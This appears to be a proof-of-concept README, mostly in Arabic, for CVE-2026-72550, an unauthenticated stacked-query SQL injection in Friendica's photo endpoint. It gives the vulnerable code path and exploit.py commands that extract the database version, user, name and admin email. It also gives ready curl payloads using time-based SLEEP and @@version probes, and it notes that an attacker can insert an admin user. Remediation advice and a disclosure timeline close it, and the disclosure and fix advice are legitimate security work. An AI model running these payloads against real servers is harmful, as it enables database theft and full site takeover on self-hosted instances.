
CVE-2026-72550 — Friendica إثبات مفهوم (PoC) لحقن SQL متعدد الاستعلامات دون مصادقة (CVSS 9.8 حرج)
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2026-72550 |
| المنتج | Friendica (شبكة اجتماعية موزعة ذاتية الاستضافة) |
| الإصدارات المتأثرة | <= 2026.08-dev (git HEAD e3fc1bc) |
| النوع | CWE-89: حقن SQL (غير مُصادَق عليه، استعلامات متراصة) |
| الخطورة | حرجة — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| المصادقة المطلوبة | غير مطلوبة |
تأخذ نقطة نهاية عرض الصور في Friendica معامل الاستعلام order وتُدرجه دون تهريب في عبارة SHOW COLUMNS ... LIKE '...' تُنفَّذ عبر PDO::query() مباشرة — وهو ما يسمح بتنفيذ عبارات متعددة. لا يلزم تسجيل الدخول، وعلى التثبيت الافتراضي (block_public معطَّل افتراضيًا) تكفي أي صورة مرئية للعموم. ونظرًا لأن PDO::query() تنفّذ عبارات متراصة، فإن المهاجم المجهول لا يكتفي بقراءة البيانات — بل ينفّذ SQL عشوائيًا، بما في ذلك INSERT/UPDATE لإنشاء مستخدم مسؤول.
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
يصل مسار الطلب الافتراضي إلى هذا الكود: القيمة الافتراضية لـ $cmd هي 'view' (ما يلبي شرط $cmd === 'view') وno_count معطَّل، لذا لا حاجة إلى مصادقة أو أي إعداد غير افتراضي.
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
| الخيار | الوصف |
|---|---|
-u / --url | عنوان قاعدة الهدف (مثل http://target:8176) |
-r / --user | اسم المستخدم الذي سيتم استهداف معرض صوره |
-i / --resource-id | معرف المورد لأي صورة عامة مرئية |
--extract | القيمة المطلوب استخراجها: version, db_user, db_name, admin_email |
--check-only | اختبار الثغرة فقط دون استخراج بيانات |
--sleep | تأخير SLEEP بالثواني (الافتراضي: 5) |
لا حاجة إلى ملفات تعريف الارتباط أو مصادقة. وجّه الطلب إلى أي معرف مورد لصورة عامة:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
الحمولة المفكوكة: x';SELECT SLEEP(5)-- -
تصبح جملة SQL المحقونة:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
يمكن لمهاجم غير مُصادَق عليه:
INSERT INTO userهذا اختراق كامل لقاعدة البيانات يمكن لأي زائر مجهول الوصول إليه على تثبيت Friendica افتراضي.
order مقابل القائمة البيضاء للأعمدة المعروفة قبل الاستخدامSHOW COLUMNSPDO::ATTR_EMULATE_PREPARES => false)| التاريخ | الحدث |
|---|---|
| 2026-07-07 | اكتشاف الثغرة وتأكيدها على مثيل محلي |
| 2026-08-11 | نشر CVE-2026-72550 عبر TuranSec CNA |
هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والتعليم فقط. استخدمها فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
اكتُشفت بواسطة Bobur Abdugafforov (@abdugafforov-bobur)
تم تعيين CVE عبر TuranSec CNA